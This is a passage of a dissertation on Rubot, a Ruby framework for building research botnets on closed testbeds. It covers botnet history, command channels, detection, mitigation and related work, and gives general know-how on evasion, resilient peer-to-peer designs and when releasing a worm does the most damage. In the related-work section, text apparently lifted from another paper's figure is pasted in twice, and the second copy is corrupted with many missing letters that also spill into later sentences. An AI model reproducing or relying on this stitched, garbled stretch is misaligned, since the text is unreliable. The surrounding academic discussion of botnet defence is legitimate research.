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SUMMARY
Criminals use the anonymity and pervasiveness of the Internet to commit
fraud, extortion, and theft. Botnets are used as the primary tool for this crimi-
nal activity. Botnets allow criminals to accumulate and covertly control multiple
Internet-connected computers. They use this network of controlled computers to
flood networks with traffic from multiple sources, send spam, spread infection, spy on
users, commit click fraud, run adware, and host phishing sites. This presents serious
privacy risks and financial burdens to businesses and individuals. Furthermore, all
indicators show that the problem is worsening because the research and development
cycle of the criminal industry is faster than that of security research.
To enable researchers to measure botnet connection models and counter-measures,
a flexible, rapidly augmentable framework for creating test botnets is provided. This
botnet framework, written in the Ruby language, enables researchers to run a botnet
on a closed network and to rapidly implement new communication, spreading, control,
and attack mechanisms for study. This is a significant improvement over augmenting
C++ code-bases for the most popular botnets, Agobot and SDBot. Rubot allows
researchers to implement new threats and their corresponding defenses before the
criminal industry can. The Rubot experiment framework includes models for some
of the latest trends in botnet operation such as peer-to-peer based control, fast-flux
DNS, and periodic updates.
Our approach implements the key network features from existing botnets and
provides the required infrastructure to run the botnet in a closed environment.
x
CHAPTER I
INTRODUCTION
Criminals control networks of compromised computers, botnets, to commit a multi-
tude of fraud, extortion, and theft. Botnets provide bandwidth, IP address diversity,
and hosting services, which enables much of these criminal activities on a large scale.
The bandwidth is used to launch distributed denial-of-service (DDoS) attacks and to
send unsolicited e-mail (a.k.a., spam). The IP address diversity is used to make IP
address-based blocking ineffective because of the number of IP addresses used to send
malicious traffic and the blending of valid traffic with malicious traffic from the same
IP addresses. IP address-based blocking is commonly used to block spam, but if an
attacker has control of many IP addresses, he or she will still be able to send a deluge
of spam e-mails before being blocked. These spam messages are used to trick people
into sharing login credentials (phishing), installing malicious software (trojans), or
sharing bank account information (419 scams). Also, these compromised hosts often
provide services, such as HTTP and DNS servers, which are used to host malicious
content in a resilient manner. This is resilient because to take the malicious content
offline, security administrators must coordinate the disconnection of many hosts in a
short period of time.
There are many challenges to measuring botnets that make it difficult for re-
searchers to perform experiments. Furthermore, many experiments performed on
actual botnets lack basic scientific rigor because of these challenges. The challenges
include limited visibility of the Internet, constantly changing conditions (e.g., online
population, IP address allocation, peering, and congestion), changes in botmaster
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activity because of monitoring, and interference from other entities trying to mea-
sure the botnet (e.g., law enforcement, security companies, and other researchers).
Since the collected data is limited in scope and the conditions are not reproducible,
findings from this data have limited or no scientific value. Furthermore, researchers
and companies rarely share their data because of the sensitivity of the data. Bot-
masters have blocked researchers’ efforts to map their network and could inject false
answers into the measurements, causing false findings. There are no solutions for
these fundamental problems.
To enable researchers to perform scientific measurements on botnets, we devel-
oped an experiment framework in which botnets can be implemented, measured, and
mitigated. This framework incorporates common functionalities found in botnet code
bases and provides the basic services required to set up internet services on a closed
network or testbed. This framework allows researchers to quickly build botnets with
the functionalities under investigation, deploy it onto a closed, monitored network,
and measure the effectiveness of their detection or remediation techniques. The abil-
ity to conduct these experiments in a controlled environment allows for variables
to be controlled independently and measurements repeated, which leads to scientific
findings.
1.1 Bot and Botnet Architectures
A botnet is a collection of compromised machines under the remote control of one
entity, the botmaster. A bot is a type of malicious software, also called malware or
the more recently coined term, crimeware, that is installed on the victim computer
so that the botmaster can control the victim computer. It is important to note for
clarity that malware samples generally contain much more functionality than just
remote control.
Different bots can be categorized by the services they provide to the botmaster,
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how they spread, how they are controlled, and how they evade detection. There are
services found in almost every bot because they are the easiest to monetize, such
as packet flooding and spam generation. Beyond that, there is a wide diversity of
functionalities found in bots ranging from ejecting the CD-ROM to searching for
credit card numbers on the machine. Essentially malware is able to do anything that
software is capable of doing.
The bot-spreading mechanism changes over time because of changes in counter-
measures. Worms, which infects a machine on the network and then co-opts that
machine to aid in spreading itself to other machines on the network, used to be the
most common method of spreading malware. When firewalls began to block worms
from spreading, the primary method changed to trojans, which tricks victims into
installing in the belief that it is beneficial. Now that users have grown wary of
this kind of attack and are not as eager to install random software, Web drive-by
downloads, a technique where simply visiting a Web site can exploit the Web browser
and install the malicious software, has flourished and is starting to dominate the
security landscape.
For a long time, the predominant remote control channel was Internet Relay Chat
(IRC). IRC was a desirable choice for botmasters for a variety of reasons:
1. Many of the criminals were familiar with IRC.
2. IRC is resilient because of redundant servers.
3. Since IRC is public in nature, it allows botmasters to blend in with the masses.
4. IRC was designed to be scalable to support hundreds of thousands of users.
5. Communications are synchronized, which allows messages or commands to ar-
rive to all clients at the same time.
However, as botnets became a prominent threat, security analysts reacted in several
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key ways to reduce this threat by closing the chatrooms, shutting down the IRC
servers, blocking IRC traffic, and tracking botnets by joining the IRC network. Bot-
masters slowly changed their command channel to other protocols in order to blend in
with normal user traffic. There are documented cases of command channels using the
HyperText Transfer Protocol (HTTP), the Domain Name Service (DNS) protocol,
and several peer-to-peer (P2P) protocols. Much of the research in this dissertation
relates to modeling these various command channels.
Due to the popularity of antivirus software, malware is constantly changing to
evade detection. Also, many malware samples disable installed antivirus software or
compromise the operating system to evade host-based intrusion detection. This trend
has progressed to the point that almost all malware samples captured in the wild are
completely undetected by antivirus and are not be detected for several weeks.
1.2 Internet Experimentation
There are several limitations to performing thorough, scientific measurement on the
Internet. First, the Internet is a vast variety of links, routers, computers, protocols,
and applications. These components change over time and their utilization change
constantly, typically with diurnal and weekly cycles. Many of the protocols and
applications are unknown, undocumented, or highly complex. Furthermore, when
researching malicious activity, criminals change behavior to evade measurement.
With the aid of simulators and testbeds, researchers can perform internet exper-
iments. Simulators model internet components in software and can often run faster
than real-time. Emulation attempts to mimic the behavior of components, generally
as part of a small network. Simulation and emulation give good global visibility of the
network under study, but often are on a smaller scale and lacks the same dynamics as
real networks. These properties often give repeatable results, which tend to be more
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favorable than a real world experiment because of the lack of noise and complica-
tions. Experiments on the Internet suffer from extreme complexities and from lack of
visibility of the overall system. There can be no complete solution, but compromises
between these approaches provide some similitude to realistic conditions while still
providing scientific insight.
1.3 Rubot Framework
Botnet research is problematic because of the scope (millions of victims) and the
evasion techniques deployed by its propagators. In order to perform botnet research,
Rubot provides an experiment framework to set up customized botnet architectures
on testbeds. The framework is written in the Ruby programming language and en-
ables the rapid construction of botnets. It allows the researcher to integrate different
functionalities under investigation into the bot and then deploy the botnet onto a
closed network.
There are several stages of botnet communication, which the framework provides
functionality to implement. Each stage encompasses several models, and each model
has several variable properties. The observation and implementation of these models
are the core work of this dissertation. The stages of botnet communication under
study are the following:
1. Propagation - method used to infect victim machines.
2. Control - channel used for the botmaster to send commands.
3. Update - method used to send new executable code to a current victim.
4. Attack - types of malicious network activity, such as DoS.
5. Spam - retrieving of spam templates and sending of unsolicited e-mail.
6. Combined services - bundled network services like HTTP and DNS servers.
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In this dissertation, the primary work is on the control channel, and specifically
peer-to-peer and HTTP-based control.
1.3.1 Measurement of Current Peer-to-Peer Botnets
Although Internet Relay Chat (IRC) is still the primary form of botnet control, peer-
to-peer (P2P) protocols are being used for botnet control because of their scalability
and resiliency. The first part of this thesis discusses the measurement of three P2P
botnets: Nugache.A, Storm, and Mayday. These models serve as the basis of P2P
models implemented in the Rubot framework.
1.3.2 Botnet Emulation Engine
The remaining modules of the engine are motivated by features commonly seen in
botnet code bases. The core part of the Rubot framework loads the configured mod-
ules, starts the processes, and serves as the message arbiter between the processes.
The Rubot core starts by parsing the specified configuration file and loading the as-
sociated modules. After all the modules are loaded, each one is started processing in
its own thread.
1.3.3 Experimentation
To show the utility of the Rubot framework, three P2P botnets models were deployed
on the DETER testbed and measured. These tests illustrated how changes in how the
botnets communicate dramatically change the effectiveness of the different enumera-
tion techniques of crawling, riding, multi-joining, and P2P route table poisoning. The
models cover much of the current state of P2P botnets and will serve as a starting
point for future research.
1.4 Dissertation Outline
The goal of this research was to understand current botnet models, implement a
framework to enabled controlled experiments on botnets of different models, and then
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show how enumeration techniques fare against different models. Chapter 2 introduces
botnets, their history, and trends in code bases. Chapter 3 describes previous mea-
surements of P2P botnets and discusses how these measurements yield the derived
models. Chapter 4 describes the Rubot framework; including the core engine, mod-
els, and modules. Chapter 5 describes the testbed experiments and results. Lastly,
Chapter 6 serves as the conclusion of this dissertation.
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CHAPTER II
ORIGIN AND HISTORY OF THE PROBLEM
Since the first IRC-controlled bot in 1999, criminals have exploited the power and
anonymity of botnets to commit fraud, coercion, and theft. Today, the use of botnets
has grown into a massive, underground economy with areas of specialization in the
various stages of building and using the malicious network. During a six-month period
in 2006, Symantec observed over 4.5 million distinct infected computers. A recent
estimate by Vint Cerf placed the number of infected hosts at 150 million. In a 2006
FBI report on cybercrime, the estimated cost to U.S. businesses was $67.2 billion
during 2005 [38]. Since the risks of operating botnets are minimal and the economics
of operating botnets are favorable to the botmasters, the problem will continue to
grow.
Much of the previous work has focused on understanding botnet malware and
botnet detection. To understand botnet malware, researchers use the source code
(if available), perform reverse engineering on the binary, monitor the botnet activi-
ties within a virtualized environment, or take network measurements of the botnet
traffic. Malware writers have very advanced, commonly-used anti-analysis methods,
which can evade each of these techniques. The criminals encrypt the binary (packing)
and perform debugger and virtualized environment detection to hide the malware’s
instructions from researchers. Botnet source code is kept private by the malware
writers and is difficult for researchers to find. Recently, a trend toward alternate
command and control (C&C) communication channels has risen concerns as malware
authors experiment with the Gnutella protocol, the Waste P2P protocol, HTTP com-
munications, and stenography. These alternate channels hide or obfuscate the C&C
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communication, making botnets difficult to detect and mitigate. Since the malware
binary can change and use common protocols such as HTTP, intrusion detection sys-
tems (IDS) have difficulty detecting the communications since there is no distinct
pattern that can be used to detect the malware or its communication.
Currently, there are no available frameworks or simulators for botnet experimen-
tation and analysis. Without a viable framework, botnet research is costly and slow
because of the many hurdles of obtaining source code, reverse engineering malware
binaries, and operating a research botnet within legal constraints. These issues are
addressed further in both this chapter and in Chapter 3. These obstacles have caused
the research community to lag behind the criminal community.
2.1 Introduction to Botnets
A botnet is a large number of victim computers controlled by a single entity without
the knowledge of the owners. The controlling entity is known as the botmaster. The
botmaster either forms his or her own botnet or rents it from someone who has a
botnet already. Typically, botnets are used to spy on victims, send spam, commit
click-fraud, install adware, and launch distributed denial-of-service (DDoS) attacks.
The remainder of this section presents a brief history of botnet technology, a discussion
on legal and technical limitations in botnet research, and related work.
2.1.1 Brief History
Even though the first few botnets were fairly advanced in functionality, the packag-
ing and deployment of new botnets escalated when a tool to generate derivatives of
SDBot was released. From that point, botnets increased in complexity and function-
ality. Many of the new features were designed to avoid detection, steal data, exploit
vulnerabilities, launch network attacks, and send spam.
The first IRC-enabled trojan, Pretty Park [37, 32], was first seen in March 1999.
It was written in Delphi and had many of the features still in use today. It had the
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ability to report the computer specifications, search for e-mail addresses, retrieve pass-
words, update its functionality, transfer files, redirect traffic, perform DoS attacks,
and communicate with the IRC server.
Originally discovered in May 1999, SubSeven was the first remote controlled mal-
ware sample[8, 41, 32]. The SubSeven trojan created a backdoor on the victim ma-
chine by running the SubSeven server. IRC remote control started in version 2.1
when it permitted the SubSeven server to receive commands via IRC. This style of
botnet management became popular and was integrated in many of the later botnet
variants.
In 2000, Global Threat bot (GTBot) [32] appeared. It built upon the mIRC IRC
client and used mIRC’s scripting interface to create a bot that can respond to IRC
events. Additionally, it supported raw TCP and UDP socket connections, which
allowed a variety of spoofing and denial-of-service attacks. GTBot has functionalities
to perform port scanning, packet flooding, and IRC cloning. Additionally, it can
anonymously access an IRC server.
SDBot was written in 2000 lines of C and appeared in 2002. In its original form,
it did not provide much of the common functionalities such as spreading and DDoS,
but because the code was released under the GPL, many derivative bots were formed
from this source (including SpyBot). Despite the popularity of the SDBot code base
for building new variants, the code was actually not very clean or modular.
AgoBot (aka Gaobot or Phatbot), which premiered in late 2002, is a sophisticated,
professional code base [4]. Most source bundles based on AgoBot contain around
20,000 lines of C/C++. AgoBot consists of various components for IRC communi-
cation, target exploits, DDoS attacks, shell encodings and polymorphic obfuscations,
password harvesting, anti-virus removal, and debugger detection. One of the Phatbot
variants was the first to use the Waste P2P file sharing protocol to control the botnet.
Rbot introduced the use of runtime software package encryption tools such as
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Morphine, UPX, ASPack, PESpin, and others to obfuscate the binary payload in
order to avoid signature-based IDS systems. Polybot extended this polymorphic
technique in March 2004 to morph its code every time it infects a machine.
As the Internet community cracks down on botnets, botmasters use different tac-
tics to avoid blocking. At first, botnets were blocked by taking down the C&C IRC
channels. So the botmasters used their own IRC servers. Then, botnets were removed
by blocking those IP addresses, so botmasters used domain names to herd their bots
to an active IRC server. When ISPs learned that they could block connections by
caching bad answers for the DNS entry, botmasters used methods to diversify the
domain names, IPs, and protocols. In May 2006, after the security community had
many successful removals of botnet C&C servers, the botmasters started to use fast
flux DNS to cycle the bots around to multiple servers. Fast flux refers to a practice
of continuously updating the DNS entries at regular intervals [32, 10]. This shifted
the centralizing agent of control from a C&C server to the DNS architecture.
To evade detection, botnets have started to use alternate communication channels.
Some botnets use the HTTP protocol to access Web pages that have commands
embedded in them [32, 14, 20]. This includes popular blogs, search-engine results,
and Web-based e-mail sites. Many researchers have noted the rise in the use of peer-
to-peer (P2P) protocol-based botnets and their resiliency [20, 14, 4, 10, 32, 7, 25].
Commands can be embedded in DNS records [20], news server postings, or randomly
discovered peers [7].
The overall trend in botnets is to use more professional code bases, alternate com-
munication channels for control, novel herding tactics, and new forms of malicious
activity, such as ransomware, instant message spam (SPIM), and blog spam (SLOG).
As botnet generation tools become more accessible, novice botmasters try to use the
tools to form their own botnets, which tend to be very small. Botnets are becoming
more numerous, with many smaller ones (typically used for credit card and limited
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DDoS) and a few mammoths ones like the Storm botnet (used primarily for spam-
ming). Browser bugs are also being exploited in new ways to allow a temporary
takeover of computers.
2.1.2 Detecting Botnets
Security specialists have difficultly taking down botnets because of the very nature
of the Internet. The first challenge is the international nature of the Internet. Even
if an attacker is identified, language and legal issues impede prosecution. Computer
Emergency Response Teams (CERT) in various countries handle incident reports.
The responsible CERT then works with local Internet providers and law enforcement
to help respond to attacks. The second problem is the vast number of compromised
hosts on the Internet. Even if the botnet C&C is taken offline, the infected comput-
ers can still be recruited into the next botnet. The third problem is detection and
reporting. Most botnets are undetected because of inadequate monitoring, and few
people know how to report a botnet. The quickest, cheapest, most effective change
we can make to enhance the war on botnets is to teach people how to spot and report
them. This would form a neighborhood watch program for the Internet to make it
an environment hostile to crime.
Honeynets [24] are networks of vulnerable machines, honeypots, that are heavily
monitored for spurious activity. These networks are very successful in obtaining self-
propagating malware and capturing the communication between an infected host and
the C&C [31]. However, the Honeynet Project [33] is very reluctant to do any form
of reporting or to cooperate with law enforcement because of its legal status. Al-
liance members disseminate information through generic, bi-yearly reports and Know
Your Enemy (KYE) papers. Because of the legal constraints of honeynet operators,
honeynets are trivial to fingerprint [44].
Low-interaction honeypots, such as Nepenthes and HoneyD, are highly effective
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at collecting botnet malware for known exploits [2, 31, 40, 1, 28]. Nepenthes emulates
vulnerabilities, e.g., LSASS buffer overflow (CVE-2003-0533), and when an attacker
attempts an exploit, it will decode the exploit code and attempt to download the mal-
ware. Since the vulnerability is only emulated, the system remains uncompromised
and is easier to operate than a high-interaction honeypot. However, it is limited to
the vulnerabilities that are implemented inside of Nepenthes.
ShadowServer is an organization dedicated to detecting and reporting botnets.
On its Web site, it maintains several meaningful statistics related to the number and
sizes of botnets. The organization uses Nepenthes as a primary part of its overall
strategy to detect botnets. After collecting malware samples, ShadowServer decodes
the malware using a sandbox to obtain the C&C information. A sandbox is an
instrumented operating system environment used to run programs and obtain useful
information about those programs.
Other common methods for detecting botnets include anti-virus software, netflow
monitoring for specific C&C port numbers, anomaly-based intrusion detection sys-
tems (IDS), spam monitoring, and domain name server (DNS) monitoring. Recent
work [29] argued that botnets might be detected by watching the DNS lookups to
DNS black list servers (DNSBLs) because botmasters test the DNSBLs to see how
effective their bots will be when spamming.
2.1.3 Botnet Mitigation Strategies
Botnet mitigation falls into the following eight categories [7, 23, 32]:
1. Host-based prevention
Anti-virus software, personal firewalls
2. Network-based prevention
Network firewalls, intrusion detection systems, intrusion prevention systems,
rate limiting
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3. Host cleaning
Anti-virus software, spyware sweepers, reformatting, manual cleaning
4. C&C blocking
Port blocking (e.g., port 6667), protocol blocking, host blocking (of either the
infected host or the C&C)
5. C&C takedown
Removal or blocking of the C&C host
6. C&C redirection poisoning
DNS poisoning, IP black-holing, silent-peering (Jamming)
7. Economic disincentive
Reduce the price botmasters can charge for their botnets, increase the cost to
form the botnet, or increase the cost when using the botnet (e.g., BlueFrog’s
[42] approach to spam)
8. Legal action
Reporting the botnet to a law enforcement organization (LEO)
There was a recent debate at NANOG 39 ISP Security BOF discussing the relative
benefits of taking down a botnet verses monitoring it [26]. System administrators lack
the time to investigate botnet activity and work to limit liability by simply black-
holing the traffic. Researchers and LEOs want to study the botnet and its activities,
and collect evidence. Furthermore, as botmasters improve their techniques to keep
bots connected to the C&C, performing take-downs and black-holing traffic becomes
less effective.
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2.2 Liabilities of Botnet Research
The best way to learn how current botnets operate is by directly observing them.
The easiest way to observe a botnet is to infect a host with the malware sample
and observe its communication. However, this could have a liability issue because the
researcher has knowledge that the computer is running malicious software and it might
attack someone [44]. If the computer is infected and there are no countermeasures,
the researcher could be considered negligent. Researchers have been quite successful
in running an infected host and blocking all attack commands, but this would be
rendered problematic if the protocol was encrypted or obfuscated. When studying
peer-to-peer botnets, relaying the botmaster’s command could place the researcher
into a liable position of aiding the botnet. However, there have been no legal cases
trying these issues.
The next best way to track a botnet is to monitor the communications at the
C&C. This would require discovery of the C&C and permission from the owner of the
compromised host to allow you to monitor it. The owner may be liable for continuing
the operation of the botnet after being notified of the problem. This issue works
against the collection of evidence.
Another option is to monitor the communications of large networks at the border,
discover botnets, and then reroute connections destined to the control center to a
honeypot or tarpit. This effectively switches those hosts over to a friendly C&C. This
is an effective mitigation strategy, but not one for learning how botnets operate or
how botnet tactics evolve. This requires an agreement with an ISP and has some
privacy issues (which means lawyers). Also, the use of peer-to-peer protocols for
botnet communication defeats this blocking technique.
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2.3 Technical Difficulties of Botnet Research
In addition to the legal challenges, there are also technical challenges that limit botnet
research. First, botnet samples are malicious. Great care must be taken to limit the
danger of running the malicious code. Virtual machines are often used to mitigate
this danger by separating the malicious code into its own environment. However,
malware often detects the virtualized environment and refuses to operate normally.
Last, for a botnet to operate, the infected computer must be able to discover the
control center or other peers via some server. This requires that the infected machine
be allowed to connect to the C&C. Once connected to the C&C, the botmaster can
send commands to the infected machine, causing problems of liability and detection.
The liability issue was addressed earlier and applies in this case. The second problem,
detection, refers to the idea that the botmaster may detect the experiment and try
to harm the experiment and/or the experimenter.
2.4 Related Work
The German Honeynet Project used honeypots to track botnets and published its
findings in a Know Your Enemy (KYE) paper [1]. Project members created a mal-
ware collection daemon called mwcollect and connected it to IP addresses on a German
ISP. They found that the most common attacks came from Windows XP and Win-
dows 2000 computers and targeted the Windows filesharing ports (445, 139, 137, and
135). This Windows networking traffic consisted of more than 80% of the observed
traffic. Three bot families, Agobot, SDBot, and GTBot, consituted a majority of the
botnet infections, with occasional infections by variants of the DSNX, Q8, kaiten,
and Perlbot families. Most of their bots used a dynamic DNS service to locate the
C&C and used passwords to protect the IRC channels from outsiders. The two most
commonly used IRC server software packages were Unreal IRCd and a cracked version
of ConferenceRoom.
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The same group also used high-interaction honeypots by allowing the honeypots
to be infected and identifying the connection details to the C&C by monitoring the
communications. Then, they used a customized IRC client to connect to the C&C,
pretended to be an infected host, and monitored the C&C for botnet details. In four
months, they were able to track over 100 botnets and 226,586 unique IP addresses
connecting to those C&Cs. Most botnets consisted of only a few hundred bots,
but there were several large botnets with up to 50,000 hosts. They also found that
home computers are commonly infected with multiple bots; one had 16 different
bots installed. They observed 226 DDoS attacks during that duration, which mainly
targeted dial-up lines.
Holz recorded the number of new bot variants observed for both AgoBot and
SDBot [20], and the results are graphed in Figure 1. In 2003 and the beginning of
2004, Agobot was the leading code base for new botnets, but as of June 2004, SDBot
quickly stormed onto the scene and became the dominant code base. This climb was
due to a tool that made generation of new variants very easy to create.
Figure 1: Count of Agobot and SDBot bot variants observed each month during
2004 and 2005.
In [7], Cooke et al. used honeypots and the Internet Motion Sensor (IMS) project
[3] to project the growing trends of bot infection. Note that this may not mean larger
botnets, but simply more infected hosts. In fact, they observed that smaller botnets
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are more common than the larger botnets [21]. Additionally, recent botnets tend
to have more firepower because of the proliferation of broadband connections to the
Internet. Cooke also theorizes that future botnets might use random communication
patterns to scan the Internet to discover peers.
Ourmon utilizes a botnet detection algorithm described in [6]. The algorithm
tracks IRC channel communications and flags IRC channels as evil if hosts on that
channel have a high ratio of TCP control packets (SYN, FIN, RST) to overall TCP
packets. This technique assumes that the botnet uses IRC for coordination and that
the monitoring point can capture packets statistics. Donaldson implemented this
algorithm using FPGAs to operate on high-speed networks [12].
BotHunter [18] detects botnets at the network level by looking for a dialog se-
quence, which the authors call the bot infection dialog model. This dialog model is an
abstraction of the stages in a successful botnet infection and operation. The authors
provided three bot-specific sensors to aid in detecting the five potential dialog trans-
actions listed below. Specifically, the authors additional sensors detect additional
exploits (phase 2), egg downloads (phase 3), and types of command-and-control traf-
fic (phase 4).
1. Network scan
2. Victim exploit
3. Binary download by the victim
4. Contact to a command and control
5. Outbound scanning
Ishibashi et al. proposed a way to detect hosts infected with mass-mailing worms
by monitoring domain name server (DNS) queries [22]. Specifically, they monitored
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the mail exchange (MX) record queries and performed probabilistic host-based scor-
ing.
Ramachandran et al. monitored queries at a DNS blackhole list (DNSBL) [29].
Botmasters query against these databases to see if their bots are listed as spammers.
They do this in order to sell unblocked botnets for more money. Botnet membership
can be passively gathered by monitoring these queries and looking for patterns that
are different from normal mail server-based queries.
Strayer et al. developed a method for detecting botnets by monitoring flows, filter-
ing out known good traffic, and correlating the remaining flows [34]. The remaining
flows form a small cluster of bot-like behavior. Those clusters are then investigated
further. This analysis depends on certain assumptions of bot behavior and is currently
limited to IRC-based command and control.
Barford et al. created a taxonomy of seven key mechanisms of botnet families and
describe their capabilities [4]. They directly examined the source code of four botnet
code bases: Agobot, SDBot, SpyBot, and GTBot. Their taxonomy considered the
architecture, botnet control, host control, propagation methods, exploits, malware
delivery mechanisms, obfuscation methods, and deception strategies of the botnet
code bases. There were several key findings as follows:
• Botnet software is evolving into more complex and modular code bases.
• Internet Relay Chat (IRC) is still the predominant control protocol.
• Spying activities, such as password and credit card harvesting, are very well
thought out and pose a massive threat to security.
• There exists a wide assortment of exploits bundled with the malware–most of
which focus on Windows vulnerabilities.
• All code bases contain denial-of-service capabilities.
19
• Polymorphic techniques, such has shell encoding and packing, are quite com-
mon.
• All botnet software contains code to avoid detection–usually by disabling anti-
virus software.
• The propagation mechanisms used by most code bases are still quite simple–
generally allowing for only horizontal and vertical scanning.
Another taxonomy of botnets was performed to differentiate botnets based on
their connection topologies [10]. This taxonomy was created in response to ongoing
trends toward peer-to-peer (P2P) topologies within botnets. The various structures
were evaluated using three key discrimators: size, network diameter, and redundancy.
Botmasters usually want to maximize size and redundancy, while minimizing the net-
work diameter. Size equates to power and the network diameter affects the command
propagation time throughout the botnet. The resulting P2P topology models are
1. Erdo¨s-Re´nyi Random Graph
Each node is connected with equal probability to the other N-1 nodes forming a
randomized graph.
2. Watts-Strogatz Small World
Nodes form a regional network of local connections in a ring formation and with
a low probability, forms a distant connection to the opposite side of the ring.
3. Baraba´si-Albert Scale Free
The degree of the nodes is a power law distribution.
Dagon et al. developed a model to express the number of infected hosts in different
time zones and compared the model to empirical data [11]. Since more computers are
on during the active hours of each time zone, the active botnet population in that
time zone also increases. If a botnet used remote exploits to propagate, then both the
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infected computer and the target computer would need to be on. Thus, the infection
pattern is limited in part by the time zones of the respective computers. This leads
to a cross-time zone infection model. One of the interesting conclusions to the model
is that the world population of online active bots (and thus vulnerable machines)
peaks at about 13:00 UTC , when the Asia group is starting to fall, Europe is close
to peaking, and the Americas are in mid-rise. Furthermore, Dagon et al. evaluated
the model and showed that releasing a worm at noon (UTC) would have about two
and a half times the impact within the first six hours of spreading of releasing it at
midnight.
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Figure 3. Worm propagation dynamics and population growth
3.6 Practical Uses of Diurnal Models
The diurnal model Eqn. (5) tells us when releasing a
worm will cause the most severe infection to a region or the
entire Internet. For worms that focus on particular regions,
the model also lets us predict future propagation, based on
time of release. The role that time zones play on propaga-
tion is intuitively obvious, but has not been expressed in any
previous model.
3.6.1 Forecasting with Pattern Tables
The derived αi(t) is not limited to the botnet under ex-
amination, but instead reflects the type of vulnerability ex-
ploited by the botnet. That is, different botnets that both
exploit the same vulnerability in Windows 2000 SP2 will
likely have similar Ni(t) (and therefore α(t)), assuming
there are no other region-specific limiting factors. That is,
both worms will target the same Si(t), if there are no differ-
ences (e.g., language differences such as Korean versus En-
glish language email viruses) that would clearly favor one
time zone’s population over another.
Repeated sampling of botnets using DNS redirection
noted in Section 2 (and other techniques) will conceivably
yield an understanding of how vulnerabilities are distributed
in different zones. Since αi(t) corresponds to the type of
vulnerability being exploited, repeatedly seeing malware
target the same OS flaw may assist forecasting. Researchers
can infer the growth of future outbreaks based on previ-
ous attempts to exploit the same vulnerability. Thus, when
a new bot appears targeting a familiar vulnerability, re-
searchers can use timely previous examples to estimate how
far and fast the bot will spread.
Accordingly, we can build a table of the derived shaping
functions, based on observed botnet data, and key the table
based on other heuristics about the worm (e.g., the exploit
used, the OS/patch level it affects, country of origin). When
a new worm is discovered, these heuristics are often the first
few pieces of information learned from a honeypot. One
can then consult the table for any prior αi(t) derivations,
and use them to forecast the short-term population growth
of the bot, relative to its favored zone and time of release.
To evaluate the forecasting capability of our diurnal
model, we collected monitored traces of three botnets that
exploited the same vulnerability [Mic04]. The agents for
these botnets were released in succession, evidently as en-
hancements to prior versions. From our discussion in Sec-
tion 3, these botnets should have similar diurnal shaping
functions, αi(t), for the same time zone or group of zones.
We therefore used the diurnal model derived from one bot-
net to predict the propagation dynamics of other botnets.
Fig. 5(a) shows the propagation dynamics of these three
botnets in the European group. Each data point represents
the number of SYN connection requests observed by our
sinkhole within every half an hour. Because these botnets
appeared in different time periods, their infected population
were different from each other since the vulnerable popula-
tion in the Internet varies over time. We therefore show the
results by normalizing their SYN connections. Figure 5(a)
clearly shows that botnets exploiting the same vulnerabil-
ity have similar diurnal dynamics. The results of the North
American and Asian groups, shown in Figs. 6(a), 7(a), were
also similar.
To evaluate the predictive capability of our diurnal
model, we derive the parameters for the diurnalmodel based
on curve fitting of data from Botnet 1 for the European
group. Then we use the derived diurnal model to predict the
dynamics of the other two botnets for the same European
(a) Regional fluctuation of the online botnet popu-
lation.
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3.6 Practical Uses of Diurnal Models
The diurnal model Eqn. (5) tells us when releasing a
worm will cause the most severe infection to a region or the
entire Internet. For worms that focus on particular regions,
the model also lets us predict future propagation, based on
ti e of release. The role that time zones play on propaga-
tion is intuitively obvi us, bu has not be n expressed in any
prev ous model.
3.6.1 Forecasting with Pattern Tables
The derived αi(t) is not limited to the botnet under ex-
amination, but instead reflects the type of vulnerability ex-
ploited by the botnet. That is, different botnets that both
exploit the same vulnerability in Windows 2000 SP2 will
likely have similar Ni(t) (and therefore α(t)), assuming
there are no other region-specific limiting factors. That is,
both worms will target the s me Si(t), if there are no differ-
ences (e.g., language differen es such as Korean versus En-
glish language email viru es) that would cl arly fav r one
time zone’s population over another.
Repeated sampling of botnets using DNS redirection
noted in Section 2 (and other techniques) will conceivably
yield an understanding of how vulnerabilities are distributed
in different zones. Since αi(t) corresponds to the type of
vulnerability being exploited, repeatedly seeing malware
target the same OS flaw may assist forecasting. Researchers
can infer the growth of future outbreaks based on previ-
ous attempts to exploit the same vulnerability. Thus, when
a new bot appears targeting a familiar vulnerability, re-
searchers can use timely previous example to estimate how
far and fast he bot will spre d.
Accordingly, we can build a table of the derived shaping
functions, based on observed botnet data, and key the table
based on other heuristics about the worm (e.g., the exploit
used, the OS/patch level it affects, country of origin). When
a new worm is discovered, these heuristics are often the first
few pieces of information learned from a honeypot. One
can then consult the table for any prior αi(t) derivations,
and use them to forecast the short-term population growth
of the bot, relative its favored zone and time of rele se.
To evaluate the forecasting capability of our diurnal
model, we collected monitored traces of three botnets that
exploited the same vulnerability [Mic04]. The agents for
these botnets were released in succession, evidently as en-
hancements to prior versions. From our discussion in Sec-
tion 3, these botnets should have similar diurnal shaping
functions, αi(t), for the same time zone or group of zones.
We therefore used the diurnal model derived from one bot-
net to predict the propagation dynamics of other botnets.
Fig. 5(a) shows the propagation dynamics of these three
botnets in the European group. Each data point represents
the number of SYN conn cti n requests observed by our
sinkhole within every half a hour. Because these botnets
appeared in different time periods, their infected population
were different from each other since the vulnerable popula-
tion in the Internet varies over time. We therefore show the
results by normalizing their SYN connections. Figure 5(a)
clearly shows that botnets exploiting the same vulnerabil-
ity have similar diurnal dynamics. The results of the North
American and Asian groups, shown in Figs. 6(a), 7(a), were
also similar.
To evaluate the predictive capability of our diurnal
model, we derive the parameters for the diurnalmodel based
on curve fitting of data from Botnet 1 for the European
group. Then we us the deriv diurnal model to predict the
dynamics of the other two botnets for the same European
(b) Cumulative fluctuation of the online botnet pop-
ulation.
Figure 2: Diurnal fluctuation of online botnet population.
In addition to ordinary botnets, some investigators have researched worst-case
botnets, botnets designed to be nearly impossible to take down. Vogt and Aycock
noted the trend of botmasters to shrink the size of the botnets and described a
protocol that would allow different botnets to coordinate with each other to perform
massive attacks. The key finding is that even though individual botnets are smaller
(for overall resiliency), if many botnets coordinate the threat is the same as well-
organized large botnet. This trend, although well report d in s curity news, has not
be n subs antiated in any sc entific observations of botnet sizes.
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Reiher, Li, and Kuenning described a potential botnet architecture, midgard
worms [30]. In this architecture, the infected hosts form a peer-to-peer (P2P) overlay
by maintaining a constant number of peers. Peers are discovered by random scanning
and are chosen by a three-way handshake that tests the availability of the host and
the latency. This leads to a network that would still be 70% connected even if 80%
of the nodes were taken offline (with five peers per node). As nodes rediscover each
other through scanning, the connectivity is revived. Is it possible that a scalable,
resilient botnet be formed and be almost impossible to take down.
